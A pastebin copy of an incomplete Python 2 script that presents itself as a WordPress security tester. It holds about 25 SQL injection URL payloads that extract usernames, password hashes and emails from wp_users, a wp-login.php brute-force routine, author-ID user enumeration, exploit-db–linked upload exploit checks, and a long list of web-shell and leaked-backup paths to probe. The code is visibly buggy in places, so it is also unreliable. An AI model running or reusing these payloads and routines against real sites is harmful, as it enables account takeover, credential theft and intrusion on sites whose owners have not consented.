SHOW:
|
|
- or go back to the newest paste.
| 1 | #!c:/Python27/python.exe | |
| 2 | ||
| 3 | # Little Code to do security tests on wordpress Link it together to use it | |
| 4 | # Wroten by MatriX Coder (Mohamed Aziz From Tunisia :D) you can edit my rigths | |
| 5 | # I didn't wrote all the code | Wroten Under windows XP VM in geany :D | |
| 6 | # I didn't complete the code and some parts won't work ! Good luck :D | |
| 7 | ||
| 8 | import urllib2 | |
| 9 | import urllib | |
| 10 | import re | |
| 11 | import cookielib | |
| 12 | import json | |
| 13 | ||
| 14 | class Wordpress : | |
| 15 | def __init__(self, site) : | |
| 16 | if 'http://' not in site : | |
| 17 | 'http://' + site | |
| 18 | if site[-1] != '/' : | |
| 19 | site + '/' | |
| 20 | self.site = site | |
| 21 | ||
| 22 | def scanDB(self) : | |
| 23 | """ | |
| 24 | serch common wordpress vulnerabilities from | |
| 25 | a little databese | |
| 26 | Wroten by By M.tucX | |
| 27 | """ | |
| 28 | vuln = {}
| |
| 29 | dzx = { "wp-content/themes/dandelion/" : "www.exploit-db.com/exploits/31571/",
| |
| 30 | "wp-content/uploads/feuGT_uploads/feuGT_1790_43000000_948109840.php" : "http://www.exploit-db.com/exploits/31570/" , | |
| 31 | "wp-content/plugins/formcraft/form.php?id=1" : "Wordpress formcraft Plugin Sql Injection", | |
| 32 | "wp-content/themes/kernel-theme/functions/upload-handler.php" : "http://www.exploit-db.com/exploits/29482/", | |
| 33 | "wp-content/themes/saico/framework/_scripts/valums_uploader/php.php" : "http://www.exploit-db.com/exploits/29150/", | |
| 34 | "wp-content/themes/ThinkResponsive/includes/uploadify/upload_settings_image.php" : "http://www.exploit-db.com/exploits/29332/", | |
| 35 | "wp-content/themes/rockstar-theme/functions/upload-handler.php" :"http://www.exploit-db.com/exploits/29946/", | |
| 36 | "wp-content/plugins/page-flip-image-gallery/upload.php" : "http://www.exploit-db.com/exploits/30084/", | |
| 37 | "wp-content/themes/area53/framework/_scripts/valums_uploader/php.php" : "http://www.exploit-db.com/exploits/29068/", | |
| 38 | "wp-content/plugins/complete-gallery-manager/frames/upload-images.php" : "http://www.exploit-db.com/exploits/28377/" } | |
| 39 | ||
| 40 | for xpl, poc in dzx.items() : | |
| 41 | if urllib.urlopen(self.site).getcode() not in [400,401,404] : | |
| 42 | vuln[xpl] = poc | |
| 43 | ||
| 44 | return vuln | |
| 45 | ||
| 46 | def sqliDB(self) : | |
| 47 | """ | |
| 48 | search for sql injection vulnerabilities | |
| 49 | (this piece of code was written in 2010 | |
| 50 | by vyc0d old but gold it still work on some sites) | |
| 51 | """ | |
| 52 | # Writen by vyc0d | |
| 53 | sqli = [] | |
| 54 | sqls = ["index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*", | |
| 55 | "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*", | |
| 56 | "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23", | |
| 57 | "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*", | |
| 58 | "wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--", | |
| 59 | "wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--", | |
| 60 | "wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users", | |
| 61 | "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users", | |
| 62 | "wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users", | |
| 63 | "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", | |
| 64 | "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*", | |
| 65 | "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", | |
| 66 | "index?page_id=2&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201", | |
| 67 | "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*", | |
| 68 | "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain", | |
| 69 | "wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", | |
| 70 | "myLDlinker.php?url=-2/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", | |
| 71 | "?page_id=2/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)--+&type=9&search=1&searchpage=2", | |
| 72 | "wp-content/themes/limon/cplphoto.php?postid=-2+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=2", | |
| 73 | "?event_id=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", | |
| 74 | "wp-content/plugins/photoracer/viewimg.php?id=-99999+union+select+0,1,2,3,4,user(),6,7,8/*", | |
| 75 | "?page_id=2&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users/*", | |
| 76 | "wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/*", | |
| 77 | "mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--", | |
| 78 | "wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--", | |
| 79 | "wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain", | |
| 80 | "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*"] | |
| 81 | ||
| 82 | for sql in sqls : | |
| 83 | html = urllib.urlopen(self.site+sql).read() | |
| 84 | md5s = re.findall("[a-f0-9]"*32,source)
| |
| 85 | if md5s : | |
| 86 | sqli.append(self.site+sql) | |
| 87 | ||
| 88 | return sqli | |
| 89 | ||
| 90 | def pathDiscloure(self) : | |
| 91 | """ | |
| 92 | full path disclosure vulnerability | |
| 93 | """ | |
| 94 | error = urllib2.urlopen(self.site).read() | |
| 95 | if error is not None : | |
| 96 | return None | |
| 97 | else : | |
| 98 | return ("[" + self.body.replace("<b>", '').replace("</b>", "").replace("<br />", "").strip("\n")+"]").strip()
| |
| 99 | ||
| 100 | def findPlugins(self, pluginsfile) : | |
| 101 | """ | |
| 102 | find target plugins | |
| 103 | """ | |
| 104 | foundplugins = [] | |
| 105 | self.pluginsfile = pluginsfile | |
| 106 | for line in open(self.pluginsfile, 'r').read().rsplit(): | |
| 107 | if line : | |
| 108 | respcode = urllib.urlopen(self.site+ 'wp-content/plugins/' + line + '/').getcode() | |
| 109 | if respcode != 404 : | |
| 110 | print line | |
| 111 | foundplugins.append(line) | |
| 112 | ||
| 113 | return foundplugins | |
| 114 | ||
| 115 | def getVersionRDme(self) : | |
| 116 | """ | |
| 117 | get wordpress version number | |
| 118 | """ | |
| 119 | # get version from readme.html | |
| 120 | html = urllib2.urlopen(self.site + 'readme.html').read() | |
| 121 | return re.search('Version (.*)', html).group(1)
| |
| 122 | ||
| 123 | def getUsers(self, nbusers) : | |
| 124 | """ | |
| 125 | get wordpress users | |
| 126 | """ | |
| 127 | userlist = [] | |
| 128 | i = 1 | |
| 129 | while( i <= nbusers ) : | |
| 130 | url = self.site + '?author=%i' % i | |
| 131 | try: | |
| 132 | html = urllib2.urlopen(url).read() | |
| 133 | except urllib2.URLError : | |
| 134 | print '[-] The page returned ->', urllib.urlopen(url).getcode() | |
| 135 | ||
| 136 | re1 = re.findall("<title>(.*?)</title>" , html)
| |
| 137 | user = re.search("(.*?) |" , re1[0]).group(1)
| |
| 138 | userlist.append(user) | |
| 139 | i += 1 | |
| 140 | ||
| 141 | return userlist | |
| 142 | ||
| 143 | def bruteForce(self, user, passwdfile) : | |
| 144 | """ | |
| 145 | bruteforce wordpress (wp-login.php) | |
| 146 | """ | |
| 147 | for passwd in open(passwdfile, 'r').read().rsplit() : | |
| 148 | cj = cookielib.CookieJar() | |
| 149 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) | |
| 150 | login_data = urllib.urlencode({'log' : user, 'pwd' : passwd})
| |
| 151 | opener.open(str(site) + 'wp-login.php', login_data) | |
| 152 | resp = opener.open(str(site)+'wp-admin') | |
| 153 | final = resp.read() | |
| 154 | if '<li id="wp-admin-bar-logout">' in final: | |
| 155 | return user + ':' + passwd | |
| 156 | break | |
| 157 | ||
| 158 | def shellFinder(self, shellsfile) : | |
| 159 | foundshells = [] | |
| 160 | shells = ['wp-content/plugins/akismet/akismet.php', | |
| 161 | 'wp-content/plugins/disqus-comment-system/disqus.php', | |
| 162 | 'wp-content/plugins/akismet/akismet.php', | |
| 163 | 'wp-content/plugins/akismet/admin.php#', | |
| 164 | 'wp-content/plugins/google-sitemap-generator/sitemap-core.php#', | |
| 165 | 'wp-content/plugins/akismet/widget.php#', | |
| 166 | 'wp-content/plugins/disqus-comment-system/disqus.php', | |
| 167 | 'wp-content/plugins/count-per-day/js/yc/d00.php', | |
| 168 | 'wp-content/plugins/disqus-comment-system/Sym.php', | |
| 169 | 'wp-content/plugins/disqus-comment-system/c22.php', | |
| 170 | 'wp-content/plugins/disqus-comment-system/c100.php', | |
| 171 | 'wp-content/plugins/disqus-comment-system/configuration.php', | |
| 172 | 'wp-content/plugins/disqus-comment-system/g.php', | |
| 173 | 'wp-content/plugins/disqus-comment-system/xx.pl', | |
| 174 | 'wp-content/plugins/disqus-comment-system/ls.php', | |
| 175 | 'wp-content/plugins/disqus-comment-system/Cpanel.php', | |
| 176 | 'wp-content/plugins/disqus-comment-system/k.php', | |
| 177 | 'wp-content/plugins/disqus-comment-system/zone-h.php', | |
| 178 | 'wp-content/plugins/disqus-comment-system/tmp/user.php', | |
| 179 | 'wp-content/plugins/disqus-comment-system/tmp/Sym.php', | |
| 180 | 'wp-content/plugins/disqus-comment-system/cp.php', | |
| 181 | 'wp-content/plugins/disqus-comment-system/tmp/madspotshell.php', | |
| 182 | 'wp-content/plugins/disqus-comment-system/tmp/root.php', | |
| 183 | 'wp-content/plugins/disqus-comment-system/tmp/whmcs.php', | |
| 184 | 'wp-content/plugins/disqus-comment-system/tmp/index.php', | |
| 185 | 'wp-content/plugins/disqus-comment-system/tmp/2.php', | |
| 186 | 'wp-content/plugins/disqus-comment-system/tmp/dz.php', | |
| 187 | 'wp-content/plugins/disqus-comment-system/tmp/cpn.php', | |
| 188 | 'wp-content/plugins/disqus-comment-system/tmp/changeall.php', | |
| 189 | 'wp-content/plugins/disqus-comment-system/tmp/Cgishell.pl', | |
| 190 | 'wp-content/plugins/disqus-comment-system/tmp/sql.php', | |
| 191 | 'wp-content/plugins/disqus-comment-system/0day.php', | |
| 192 | 'wp-content/plugins/disqus-comment-system/tmp/admin.php', | |
| 193 | 'wp-content/plugins/disqus-comment-system/L3b.php', | |
| 194 | 'wp-content/plugins/disqus-comment-system/d.php', | |
| 195 | 'wp-content/plugins/disqus-comment-system/tmp/d.php', | |
| 196 | 'wp-content/plugins/disqus-comment-system/tmp/L3b.php', | |
| 197 | 'wp-content/plugins/disqus-comment-system/sado.php', | |
| 198 | 'wp-content/plugins/disqus-comment-system/admin1.php', | |
| 199 | 'wp-content/plugins/akismet/WSO.php', | |
| 200 | 'wp-content/plugins/akismet/dz.php', | |
| 201 | 'wp-content/plugins/akismet/DZ.php', | |
| 202 | 'wp-content/plugins/akismet/cpanel.php', | |
| 203 | 'wp-content/plugins/akismet/cpn.php', | |
| 204 | 'wp-content/plugins/akismet/sos.php', | |
| 205 | 'wp-content/plugins/akismet/term.php', | |
| 206 | 'wp-content/plugins/akismet/Sec-War.php', | |
| 207 | 'wp-content/plugins/akismet/sql.php', | |
| 208 | 'wp-content/plugins/akismet/ssl.php', | |
| 209 | 'wp-content/plugins/akismet/info.php', | |
| 210 | 'wp-content/plugins/akismet/egyshell.php', | |
| 211 | 'wp-content/plugins/akismet/Sym.php', | |
| 212 | 'wp-content/plugins/akismet/c22.php', | |
| 213 | 'wp-content/plugins/akismet/c100.php', | |
| 214 | 'wp-content/plugins/akismet/configuration.php', | |
| 215 | 'wp-content/plugins/akismet/g.php', | |
| 216 | 'wp-content/plugins/akismet/xx.pl', | |
| 217 | 'wp-content/plugins/akismet/ls.php', | |
| 218 | 'wp-content/plugins/akismet/Cpanel.php', | |
| 219 | 'wp-content/plugins/akismet/k.php', | |
| 220 | 'wp-content/plugins/akismet/zone-h.php', | |
| 221 | 'wp-content/plugins/akismet/tmp/user.php', | |
| 222 | 'wp-content/plugins/akismet/tmp/Sym.php', | |
| 223 | 'wp-content/plugins/akismet/cp.php', | |
| 224 | 'wp-content/plugins/akismet/tmp/madspotshell.php', | |
| 225 | 'wp-content/plugins/akismet/tmp/root.php', | |
| 226 | 'wp-content/plugins/akismet/tmp/whmcs.php', | |
| 227 | 'wp-content/plugins/akismet/tmp/index.php', | |
| 228 | 'wp-content/plugins/akismet/tmp/2.php', | |
| 229 | 'wp-content/plugins/akismet/tmp/dz.php', | |
| 230 | 'wp-content/plugins/akismet/tmp/cpn.php', | |
| 231 | 'wp-content/plugins/akismet/tmp/changeall.php', | |
| 232 | 'wp-content/plugins/akismet/tmp/Cgishell.pl', | |
| 233 | 'wp-content/plugins/akismet/tmp/sql.php', | |
| 234 | 'wp-content/plugins/akismet/0day.php', | |
| 235 | 'wp-content/plugins/akismet/tmp/admin.php', | |
| 236 | 'wp-content/plugins/akismet/L3b.php', | |
| 237 | 'wp-content/plugins/akismet/d.php', | |
| 238 | 'wp-content/plugins/akismet/tmp/d.php', | |
| 239 | 'wp-content/plugins/akismet/tmp/L3b.php', | |
| 240 | 'wp-content/plugins/akismet/sado.php', | |
| 241 | 'wp-content/plugins/akismet/admin1.php', | |
| 242 | 'wp-content/plugins/akismet/upload.php', | |
| 243 | 'wp-content/plugins/akismet/up.php', | |
| 244 | 'wp-content/plugins/akismet/vb.zip', | |
| 245 | 'wp-content/plugins/akismet/vb.rar', | |
| 246 | 'wp-content/plugins/akismet/admin2.asp', | |
| 247 | 'wp-content/plugins/akismet/uploads.php', | |
| 248 | 'wp-content/plugins/akismet/sa.php', | |
| 249 | 'wp-content/plugins/akismet/sysadmins/', | |
| 250 | 'wp-content/plugins/akismet/admin1/', | |
| 251 | 'wp-content/plugins/akismet/sniper.php', | |
| 252 | 'wp-content/plugins/akismet//ftp.txt', | |
| 253 | 'wp-content/plugins/akismet//user.txt', | |
| 254 | 'wp-content/plugins/akismet//site.txt', | |
| 255 | 'wp-content/plugins/akismet//error_log', | |
| 256 | 'wp-content/plugins/akismet//error', | |
| 257 | 'wp-content/plugins/akismet//cpanel', | |
| 258 | 'wp-content/plugins/akismet//awstats', | |
| 259 | 'wp-content/plugins/akismet//site.sql', | |
| 260 | 'wp-content/plugins/akismet//vb.sql', | |
| 261 | 'wp-content/plugins/akismet//forum.sql', | |
| 262 | 'wp-content/plugins/akismet/r00t-s3c.php', | |
| 263 | 'wp-content/plugins/akismet/c.php', | |
| 264 | 'wp-content/plugins/akismet//backup.sql', | |
| 265 | 'wp-content/plugins/akismet//back.sql', | |
| 266 | 'wp-content/plugins/akismet//data.sql', | |
| 267 | 'wp-content/plugins/akismet/wp.rar/', | |
| 268 | 'wp-content/plugins/akismet/asp.aspx', | |
| 269 | 'wp-content/plugins/akismet/tmp/vaga.php', | |
| 270 | 'wp-content/plugins/akismet/tmp/killer.php', | |
| 271 | 'wp-content/plugins/akismet/whmcs.php', | |
| 272 | 'wp-content/plugins/akismet/abuhlail.php', | |
| 273 | 'wp-content/plugins/akismet/tmp/killer.php', | |
| 274 | 'wp-content/plugins/akismet/tmp/domaine.pl', | |
| 275 | 'wp-content/plugins/akismet/tmp/domaine.php', | |
| 276 | 'wp-content/plugins/akismet/useradmin/', | |
| 277 | 'wp-content/plugins/akismet/tmp/d0maine.php', | |
| 278 | 'wp-content/plugins/akismet/d0maine.php', | |
| 279 | 'wp-content/plugins/akismet/tmp/sql.php', | |
| 280 | 'wp-content/plugins/akismet/X.php', | |
| 281 | 'wp-content/plugins/akismet/123.php', | |
| 282 | 'wp-content/plugins/akismet/m.php', | |
| 283 | 'wp-content/plugins/akismet/b.php', | |
| 284 | 'wp-content/plugins/akismet/up.php', | |
| 285 | 'wp-content/plugins/akismet/tmp/dz1.php', | |
| 286 | 'wp-content/plugins/akismet/dz1.php', | |
| 287 | 'wp-content/plugins/akismet/forum.zip', | |
| 288 | 'wp-content/plugins/akismet/Symlink.php', | |
| 289 | 'wp-content/plugins/akismet/Symlink.pl', | |
| 290 | 'wp-content/plugins/akismet/forum.rar', | |
| 291 | 'wp-content/plugins/akismet/joomla.zip', | |
| 292 | 'wp-content/plugins/akismet/joomla.rar', | |
| 293 | 'wp-content/plugins/akismet/wp.php', | |
| 294 | 'wp-content/plugins/akismet/buck.sql', | |
| 295 | 'wp-content/plugins/akismet/sysadmin.php', | |
| 296 | 'wp-content/plugins/akismet/images/c99.php', | |
| 297 | 'wp-content/plugins/akismet/xd.php', | |
| 298 | 'wp-content/plugins/akismet/c100.php', | |
| 299 | 'wp-content/plugins/akismet/spy.aspx', | |
| 300 | 'wp-content/plugins/akismet/xd.php', | |
| 301 | 'wp-content/plugins/akismet/tmp/xd.php', | |
| 302 | 'wp-content/plugins/akismet/sym/root/home/', | |
| 303 | 'wp-content/plugins/akismet/billing/killer.php', | |
| 304 | 'wp-content/plugins/akismet/tmp/upload.php', | |
| 305 | 'wp-content/plugins/akismet/tmp/admin.php', | |
| 306 | 'wp-content/plugins/akismet/Server.php', | |
| 307 | 'wp-content/plugins/akismet/tmp/uploads.php', | |
| 308 | 'wp-content/plugins/akismet/tmp/up.php', | |
| 309 | 'wp-content/plugins/akismet/Server/', | |
| 310 | 'wp-content/plugins/akismet/wp-admin/c99.php', | |
| 311 | 'wp-content/plugins/akismet/tmp/priv8.php', | |
| 312 | 'wp-content/plugins/akismet/priv8.php', | |
| 313 | 'wp-content/plugins/akismet/cgi.pl/', | |
| 314 | 'wp-content/plugins/akismet/tmp/cgi.pl', | |
| 315 | 'wp-content/plugins/akismet/downloads/dom.php', | |
| 316 | 'wp-content/plugins/akismet/webadmin.html', | |
| 317 | 'wp-content/plugins/akismet/admins.php', | |
| 318 | 'wp-content/plugins/akismet/bluff.php', | |
| 319 | 'wp-content/plugins/akismet/king.jeen', | |
| 320 | 'wp-content/plugins/akismet/admins/', | |
| 321 | 'wp-content/plugins/akismet/admins.asp', | |
| 322 | 'wp-content/plugins/akismet/admins.php', | |
| 323 | 'wp-content/plugins/akismet/wp.zip', | |
| 324 | 'wp-content/plugins/akismet/disqus.php', | |
| 325 | 'wp-content/plugins/google-sitemap-generator//cpanel', | |
| 326 | 'wp-content/plugins/google-sitemap-generator//awstats', | |
| 327 | 'wp-content/plugins/google-sitemap-generator//site.sql', | |
| 328 | 'wp-content/plugins/google-sitemap-generator//vb.sql', | |
| 329 | 'wp-content/plugins/google-sitemap-generator//forum.sql', | |
| 330 | 'wp-content/plugins/google-sitemap-generator/r00t-s3c.php', | |
| 331 | 'wp-content/plugins/google-sitemap-generator/c.php', | |
| 332 | 'wp-content/plugins/google-sitemap-generator//backup.sql', | |
| 333 | 'wp-content/plugins/google-sitemap-generator//back.sql', | |
| 334 | 'wp-content/plugins/google-sitemap-generator//data.sql', | |
| 335 | 'wp-content/plugins/google-sitemap-generator/wp.rar/', | |
| 336 | 'wp-content/plugins/google-sitemap-generator/asp.aspx', | |
| 337 | 'wp-content/plugins/google-sitemap-generator/tmp/xd.php', | |
| 338 | 'wp-content/plugins/google-sitemap-generator/sym/root/home/', | |
| 339 | 'wp-content/plugins/google-sitemap-generator/billing/killer.php', | |
| 340 | 'wp-content/plugins/google-sitemap-generator/tmp/upload.php', | |
| 341 | 'wp-content/plugins/google-sitemap-generator/tmp/admin.php', | |
| 342 | 'wp-content/plugins/google-sitemap-generator/Server.php', | |
| 343 | 'wp-content/plugins/google-sitemap-generator/tmp/uploads.php', | |
| 344 | 'wp-content/plugins/google-sitemap-generator/tmp/up.php', | |
| 345 | 'wp-content/plugins/google-sitemap-generator/Server/', | |
| 346 | 'wp-content/plugins/google-sitemap-generator/wp-admin/c99.php', | |
| 347 | 'wp-content/plugins/google-sitemap-generator/tmp/priv8.php', | |
| 348 | 'wp-content/plugins/google-sitemap-generator/priv8.php', | |
| 349 | 'wp-content/plugins/google-sitemap-generator/cgi.pl/', | |
| 350 | 'wp-content/plugins/google-sitemap-generator/tmp/cgi.pl', | |
| 351 | 'wp-content/plugins/google-sitemap-generator/downloads/dom.php', | |
| 352 | 'wp-content/plugins/google-sitemap-generator/webadmin.html', | |
| 353 | 'wp-content/plugins/google-sitemap-generator/admins.php', | |
| 354 | 'wp-content/plugins/google-sitemap-generator/bluff.php', | |
| 355 | 'wp-content/plugins/google-sitemap-generator/king.jeen', | |
| 356 | 'wp-content/plugins/google-sitemap-generator/admins/', | |
| 357 | 'wp-content/plugins/google-sitemap-generator/admins.asp', | |
| 358 | 'wp-content/plugins/google-sitemap-generator/admins.php', | |
| 359 | 'wp-content/plugins/google-sitemap-generator/wp.zip', | |
| 360 | 'wp-content/plugins/google-sitemap-generator/sitemap-core.php'] | |
| 361 | ||
| 362 | for shell in shells : | |
| 363 | respcode = urllib.urlopen(self.site + shell).getcode() | |
| 364 | if respcode == 200 : | |
| 365 | foundshells.append(self.site + shell) | |
| 366 | ||
| 367 | return foundshells | |
| 368 | ||
| 369 | def versionScan(self, wp_vulns) : | |
| 370 | json_data = open(wp_vulns) | |
| 371 | data = json.load(json_data) |